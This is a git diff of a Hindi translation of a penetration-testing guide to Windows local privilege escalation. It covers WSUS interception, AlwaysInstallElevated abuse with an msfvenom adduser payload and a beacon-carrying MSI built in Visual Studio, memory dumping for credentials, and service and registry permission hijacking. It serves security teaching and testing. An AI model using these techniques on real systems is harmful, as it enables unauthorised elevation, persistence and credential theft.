Translated ['src/windows-hardening/windows-local-privilege-escalation/RE

This commit is contained in:
Translator 2025-01-22 12:23:24 +00:00
parent fa7bd31f2e
commit fb2cfd135a

View File

@ -32,7 +32,7 @@ integrity-levels.md
## Windows सुरक्षा नियंत्रण
Windows में विभिन्न चीजें हैं जो **आपको सिस्टम की गणना करने से रोक सकती हैं**, निष्पादन योग्य चलाने या यहां तक कि **आपकी गतिविधियों का पता लगाने** से भी। आपको विशेषाधिकार वृद्धि गणना शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रणाओं** की **गणना** करनी चाहिए:
Windows में विभिन्न चीजें हैं जो **आपको सिस्टम की गणना करने से रोक सकती हैं**, निष्पादन योग्य चलाने या यहां तक कि **आपकी गतिविधियों का पता लगाने** से भी। आपको विशेषाधिकार वृद्धि गणना शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रं** की **गणना** करनी चाहिए:
{{#ref}}
../authentication-credentials-uac-and-efs/
@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### Version Exploits
यह [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो **विशाल हमले की सतह** को दर्शाती हैं जो एक Windows वातावरण प्रस्तुत करता है।
यह [site](https://msrc.microsoft.com/update-guide/vulnerability) Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो **massive attack surface** को दर्शाती हैं जो एक Windows वातावरण प्रस्तुत करता है।
**On the system**
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell Transcript files
आप सीख सकते हैं कि इसे कैसे चालू किया जाए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
आप इसे चालू करने के लिए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) पर सीख सकते हैं।
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@ -112,7 +112,7 @@ Stop-Transcript
```
### PowerShell Module Logging
PowerShell पाइपलाइन निष्पादन का विवरण दर्ज किया जाता है, जिसमें निष्पादित कमांड, कमांड आह्वान, और स्क्रिप्ट के भाग शामिल होते हैं। हालाँकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम कैप्चर नहीं किए जा सकते हैं।
PowerShell पाइपलाइन निष्पादन का विवरण रिकॉर्ड किया जाता है, जिसमें निष्पादित कमांड, कमांड कॉल और स्क्रिप्ट के भाग शामिल होते हैं। हालाँकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम कैप्चर नहीं किए जा सकते हैं।
इसे सक्षम करने के लिए, दस्तावेज़ के "Transcript files" अनुभाग में दिए गए निर्देशों का पालन करें, **"Powershell Transcription"** के बजाय **"Module Logging"** का विकल्प चुनें।
```bash
@ -121,7 +121,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
```
PowersShell लॉग से अंतिम 15 घटनाओं को देखने के लिए आप निम्नलिखित कमांड चला सकते हैं:
PowersShell लॉग से अंतिम 15 घटनाएँ देखने के लिए आप निम्नलिखित कमांड चला सकते हैं:
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
@ -134,7 +134,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
स्क्रिप्ट ब्लॉक के लिए लॉगिंग इवेंट्स Windows Event Viewer में निम्नलिखित पथ पर स्थित हो सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**।\
स्क्रिप्ट ब्लॉक के लिए लॉगिंग इवेंट्स Windows इवेंट व्यूअर में निम्नलिखित पथ पर स्थित हो सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**।\
अंतिम 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -152,22 +152,35 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
## WSUS
यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम को समझौता कर सकते हैं।
यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम से समझौता कर सकते हैं।
आप निम्नलिखित चलाकर जांचना शुरू करते हैं कि क्या नेटवर्क गैर-SSL WSUS अपडेट का उपयोग करता है:
आप cmd में निम्नलिखित चलाकर जांचना शुरू करते हैं कि क्या नेटवर्क एक गैर-SSL WSUS अपडेट का उपयोग करता है:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
आपको यदि इस प्रकार का उत्तर मिलता है:
या PowerShell में:
```
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
```
यदि आपको इनमें से कोई उत्तर मिलता है:
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
```
और यदि `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` `1` के बराबर है।
```bash
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
```
और यदि `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` या `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` `1` के बराबर है।
तो, **यह exploitable है।** यदि अंतिम रजिस्ट्री `0` के बराबर है, तो WSUS प्रविष्टि को अनदेखा किया जाएगा।
इन कमजोरियों का लाभ उठाने के लिए आप उपकरणों का उपयोग कर सकते हैं: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- ये MiTM हथियारबंद exploits स्क्रिप्ट हैं जो 'फर्जी' अपडेट को गैर-SSL WSUS ट्रैफ़िक में इंजेक्ट करने के लिए हैं।
इन कमजोरियों का शोषण करने के लिए आप उपकरणों का उपयोग कर सकते हैं: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- ये MiTM हथियारबंद शोषण स्क्रिप्ट हैं जो गैर-SSL WSUS ट्रैफ़िक में 'फर्जी' अपडेट इंजेक्ट करने के लिए हैं।
यहाँ शोध पढ़ें:
@ -177,20 +190,20 @@ CTX_WSUSpect_White_Paper (1).pdf
**WSUS CVE-2020-1013**
[**यहाँ पूरा रिपोर्ट पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
बुनियादी रूप से, यह वह दोष है जिसका लाभ यह बग उठाता है:
[**पूर्ण रिपोर्ट यहाँ पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
बुनियादी रूप से, यह वह दोष है जिसका शोषण यह बग करता है:
> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट एक्सप्लोरर की सेटिंग में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्च स्तर के उपयोगकर्ता के रूप में कोड चला सकें।
> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट एक्सप्लोरर की सेटिंग में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्च उपयोगकर्ता के रूप में कोड चला सकें।
>
> इसके अलावा, चूंकि WSUS सेवा वर्तमान उपयोगकर्ता की सेटिंग का उपयोग करती है, यह इसके प्रमाणपत्र स्टोर का भी उपयोग करेगी। यदि हम WSUS होस्टनाम के लिए एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करते हैं और इस प्रमाणपत्र को वर्तमान उपयोगकर्ता के प्रमाणपत्र स्टोर में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS प्रमाणपत्र पर पहले उपयोग पर विश्वास करने के प्रकार की मान्यता लागू करने के लिए कोई HSTS-जैसे तंत्र का उपयोग नहीं करता है। यदि प्रस्तुत प्रमाणपत्र उपयोगकर्ता द्वारा विश्वसनीय है और सही होस्टनाम है, तो इसे सेवा द्वारा स्वीकार किया जाएगा।
आप इस कमजोरी का लाभ [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) उपकरण का उपयोग करके उठा सकते हैं (जब यह मुक्त हो जाए)।
आप इस कमजोरी का शोषण उपकरण [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) का उपयोग करके कर सकते हैं (जब यह मुक्त हो जाए)।
## KrbRelayUp
Windows **डोमेन** वातावरण में एक **स्थानीय विशेषाधिकार वृद्धि** की कमजोरी विशेष परिस्थितियों में मौजूद है। इन परिस्थितियों में वे वातावरण शामिल हैं जहाँ **LDAP साइनिंग लागू नहीं है,** उपयोगकर्ताओं के पास **Resource-Based Constrained Delegation (RBCD)** को कॉन्फ़िगर करने के लिए स्व-अधिकार हैं, और उपयोगकर्ताओं के लिए डोमेन के भीतर कंप्यूटर बनाने की क्षमता है। यह ध्यान रखना महत्वपूर्ण है कि ये **आवश्यकताएँ** **डिफ़ॉल्ट सेटिंग्स** का उपयोग करके पूरी होती हैं।
**exploit** खोजें [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
**शोषण खोजें** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
हमले के प्रवाह के बारे में अधिक जानकारी के लिए देखें [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
@ -210,7 +223,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
`Write-UserAddMSI` कमांड का उपयोग करें power-up से वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाने के लिए ताकि विशेषाधिकार बढ़ाए जा सकें। यह स्क्रिप्ट एक पूर्व-संकलित MSI इंस्टॉलर लिखती है जो उपयोगकर्ता/समूह जोड़ने के लिए संकेत देती है (इसलिए आपको GIU पहुंच की आवश्यकता होगी):
`Write-UserAddMSI` कमांड का उपयोग करें power-up से वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाने के लिए ताकि विशेषाधिकार बढ़ाए जा सकें। यह स्क्रिप्ट एक पूर्व-संकलित MSI इंस्टॉलर लिखती है जो एक उपयोगकर्ता/समूह जोड़ने के लिए संकेत देती है (इसलिए आपको GIU पहुंच की आवश्यकता होगी):
```
Write-UserAddMSI
```
@ -232,20 +245,20 @@ create-msi-with-wix.md
### Visual Studio के साथ MSI बनाएं
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe` में **जनरेट** करें।
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** उत्पन्न करें `C:\privesc\beacon.exe` में
- **Visual Studio** खोलें, **Create a new project** चुनें और खोज बॉक्स में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें।
- प्रोजेक्ट क नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **सॉल्यूशन और प्रोजेक्ट को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें।
- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी जनरेट किया है। फिर **Finish** पर क्लिक करें।
- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **solution और project को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें।
- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी उत्पन्न किया है। फिर **Finish** पर क्लिक करें।
- **Solution Explorer** में **AlwaysPrivesc** प्रोजेक्ट को हाइलाइट करें और **Properties** में, **TargetPlatform** को **x86** से **x64** में बदलें।
- अन्य गुण भी हैं जिन्हें आप बदल सकते हैं, जैसे **Author** और **Manufacturer** जो स्थापित ऐप को अधिक वैध दिखा सकते हैं।
- प्रोजेक्ट पर राइट-क्लिक करें और **View > Custom Actions** चुनें।
- **Install** पर राइट-क्लिक करें और **Add Custom Action** चुनें।
- **Application Folder** पर डबल-क्लिक करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload इंस्टॉलर चलने पर तुरंत कार्यान्वित हो।
- **Application Folder** पर डबल-क्लिक करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload स्थापित करने वाले के चलने पर कार्यान्वित हो।
- **Custom Action Properties** के तहत, **Run64Bit** को **True** में बदलें।
- अंत में, **build it**
- यदि चेतावनी `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई देती है, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है।
### MSI स्थापना
### MSI Installation
**पृष्ठभूमि** में दुर्भावनापूर्ण `.msi` फ़ाइल की **स्थापना** को कार्यान्वित करने के लिए:
```
@ -269,7 +282,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** स्थानीय व्यवस्थापक पासवर्ड के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें अधिकृत होने पर स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है।
**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें अधिकृत होने पर स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है।
{{#ref}}
../active-directory-methodology/laps.md
@ -282,22 +295,22 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
```
### LSA सुरक्षा
### LSA Protection
**Windows 8.1** से शुरू होकर, Microsoft ने स्थानीय सुरक्षा प्राधिकरण (LSA) के लिए बेहतर सुरक्षा पेश की है ताकि **अविश्वसनीय प्रक्रियाओं** द्वारा इसकी **मेमोरी** को **पढ़ने** या कोड इंजेक्ट करने के प्रयासों को **ब्लॉक** किया जा सके, जिससे सिस्टम की सुरक्षा और बढ़ गई है।\
[**LSA सुरक्षा के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#lsa-protection).
**Windows 8.1** से शुरू होकर, Microsoft ने Local Security Authority (LSA) के लिए बेहतर सुरक्षा पेश की है ताकि **अन्यथा विश्वसनीय प्रक्रियाओं** द्वारा इसकी **मेमोरी** को **पढ़ने** या कोड इंजेक्ट करने के प्रयासों को **ब्लॉक** किया जा सके, जिससे सिस्टम की सुरक्षा और बढ़ गई है।\
[**LSA Protection के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#lsa-protection).
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### Credentials Guard
**Credential Guard** को **Windows 10** में पेश किया गया था। इसका उद्देश्य एक डिवाइस पर संग्रहीत क्रेडेंशियल्स को पास-दी-हैश हमलों जैसे खतरों से सुरक्षित रखना है।| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
**Credential Guard** को **Windows 10** में पेश किया गया था। इसका उद्देश्य एक डिवाइस पर संग्रहीत क्रेडेंशियल्स को पास--हैश हमलों जैसे खतरों से सुरक्षित रखना है।| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### Cached Credentials
**डोमेन क्रेडेंशियल्स** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता के लॉगिन डेटा को एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\
**डोमेन क्रेडेंशियल्स** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\
[**Cached Credentials के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@ -306,7 +319,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Enumerate Users & Groups
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में शामिल हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
```bash
# CMD
net users %username% #Me
@ -321,24 +334,24 @@ Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### विशेषाधिकार प्राप्त समूह
### Privileged groups
यदि आप **किसी विशेषाधिकार प्राप्त समूह से संबंधित हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ:
यदि आप **किसी विशेषाधिकार प्राप्त समूह का हिस्सा हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### टोकन हेरफेर
### Token manipulation
**और अधिक जानें** कि **टोकन** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
दिलचस्प टोकनों के बारे में जानने और उन्हें कैसे दुरुपयोग करें, इसके लिए निम्नलिखित पृष्ठ देखें:
**और अधिक जानें** कि **token** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
निम्नलिखित पृष्ठ पर **दिलचस्प tokens** के बारे में जानें और उन्हें कैसे दुरुपयोग करें:
{{#ref}}
privilege-escalation-abusing-tokens.md
{{#endref}}
### लॉग इन उपयोगकर्ता / सत्र
### Logged users / Sessions
```bash
qwinsta
klist sessions
@ -361,7 +374,7 @@ powershell -command "Get-Clipboard"
### फ़ाइल और फ़ोल्डर अनुमतियाँ
सबसे पहले, प्रक्रियाओं की सूची बनाते समय **प्रक्रिया की कमांड लाइन के अंदर पासवर्ड की जांच करें**।\
जांचें कि क्या आप **कुछ बाइनरी को ओवरराइट कर सकते हैं** या यदि आपके पास बाइनरी फ़ोल्डर की लिखने की अनुमतियाँ हैं ताकि संभावित [**DLL Hijacking हमलों**](dll-hijacking/index.html) का लाभ उठाया जा सके:
जांचें कि क्या आप **कुछ बाइनरी को ओवरराइट कर सकते हैं** या यदि आपके पास संभावित [**DLL Hijacking हमलों**](dll-hijacking/index.html) का लाभ उठाने के लिए बाइनरी फ़ोल्डर की लिखने की अनुमतियाँ हैं:
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -372,7 +385,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
हमेशा संभावित [**electron/cef/chromium debuggers** चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
हमेशा संभावित [**electron/cef/chromium debuggers** चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**प्रक्रियाओं के बाइनरी की अनुमतियों की जांच करना**
```bash
@ -393,7 +406,7 @@ todos %username%" && echo.
```
### मेमोरी पासवर्ड खनन
आप **procdump** का उपयोग करके एक चल रहे प्रक्रिया का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स** होते हैं, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें।
आप **procdump** का उपयोग करके एक चल रहे प्रोसेस का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स होते हैं**, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें।
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
@ -414,7 +427,7 @@ Get-Service
```
### Permissions
आप **sc** का उपयोग करके सेवा की जानकारी प्राप्त कर सकते हैं
आप **sc** का उपयोग करके एक सेवा की जानकारी प्राप्त कर सकते हैं
```bash
sc qc <service_name>
```
@ -422,7 +435,7 @@ sc qc <service_name>
```bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
```
यह अनुशंसा की जाती है कि यह जांचें कि क्या "Authenticated Users" किसी भी सेवा को संशोधित कर सकते हैं:
यह अनुशंसा की जाती है कि यह जांचें कि क्या "Authenticated Users" किसी सेवा को संशोधित कर सकते हैं:
```bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
@ -436,7 +449,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
यदि आपको यह त्रुटि मिल रही है (उदाहरण के लिए SSDPSRV के साथ):
_सिस्टम त्रुटि 1058 हुई है._\
_सेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं है._
_सेवा शुरू नहीं की जा सकती, या तो क्योंकि इसे अक्षम किया गया है या क्योंकि इसके साथ कोई सक्षम उपकरण नहीं है।_
आप इसे सक्षम करने के लिए उपयोग कर सकते हैं
```bash
@ -469,8 +482,8 @@ Privileges can be escalated through various permissions:
- **SERVICE_CHANGE_CONFIG**: सेवा बाइनरी को पुनः कॉन्फ़िगर करने की अनुमति देता है।
- **WRITE_DAC**: अनुमति पुनः कॉन्फ़िगर करने की अनुमति देता है, जिससे सेवा कॉन्फ़िगरेशन बदलने की क्षमता मिलती है।
- **WRITE_OWNER**: स्वामित्व अधिग्रहण और अनुमति पुनः कॉन्फ़िगर करने की अनुमति देता है।
- **GENERIC_WRITE**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता विरासत में मिलती है।
- **GENERIC_ALL**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता भी विरासत में मिलती है।
- **GENERIC_WRITE**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को विरासत में लेता है।
- **GENERIC_ALL**: सेवा कॉन्फ़िगरेशन बदलने की क्षमता को भी विरासत में लेता है।
For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized.
@ -503,13 +516,13 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "
```
यह जांचना चाहिए कि **Authenticated Users** या **NT AUTHORITY\INTERACTIVE** के पास `FullControl` अनुमतियाँ हैं या नहीं। यदि हाँ, तो सेवा द्वारा निष्पादित बाइनरी को बदला जा सकता है।
बाइनरी द्वारा निष्पादित पथ को बदलने के लिए:
बाइनरी के निष्पादन के पथ को बदलने के लिए:
```bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
```
### Services registry AppendData/AddSubdirectory permissions
यदि आपके पास एक रजिस्ट्री पर यह अनुमति है, तो इसका मतलब है कि **आप इस रजिस्ट्री से उप-रजिस्ट्री बना सकते हैं**। Windows सेवाओं के मामले में, यह **मनमाने कोड को निष्पादित करने के लिए पर्याप्त है:**
यदि आपके पास एक रजिस्ट्री पर यह अनुमति है, तो इसका मतलब है कि **आप इस रजिस्ट्री से उप-रजिस्ट्री बना सकते हैं**। Windows सेवाओं के मामले में, यह **मनमाना कोड निष्पादित करने के लिए पर्याप्त है:**
{{#ref}}
appenddata-addsubdirectory-permission-over-service-registry.md
@ -519,7 +532,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
यदि किसी निष्पादन योग्य का पथ उद्धरण के अंदर नहीं है, तो Windows हर स्पेस से पहले समाप्त होने वाले को निष्पादित करने की कोशिश करेगा।
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए Windows निष्पादित करने की कोशिश करेगा:
उदाहरण के लिए, पथ _C:\Program Files\Some Folder\Service.exe_ के लिए, Windows निष्पादित करने की कोशिश करेगा:
```powershell
C:\Program.exe
C:\Program Files\Some.exe
@ -557,7 +570,7 @@ Windows उपयोगकर्ताओं को यह निर्दिष
### Installed Applications
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html)).
**बाइनरी के अनुमतियों** की जांच करें (शायद आप एक को अधिलेखित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं) और **फोल्डरों** के ([DLL Hijacking](dll-hijacking/index.html))
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -568,7 +581,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### Write Permissions
जांचें कि क्या आप किसी कॉन्फ़िग फ़ाइल को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ सकें या यदि आप किसी बाइनरी को संशोधित कर सकते हैं जो एक Administrator खाते द्वारा निष्पादित होने वाली है (schedtasks)
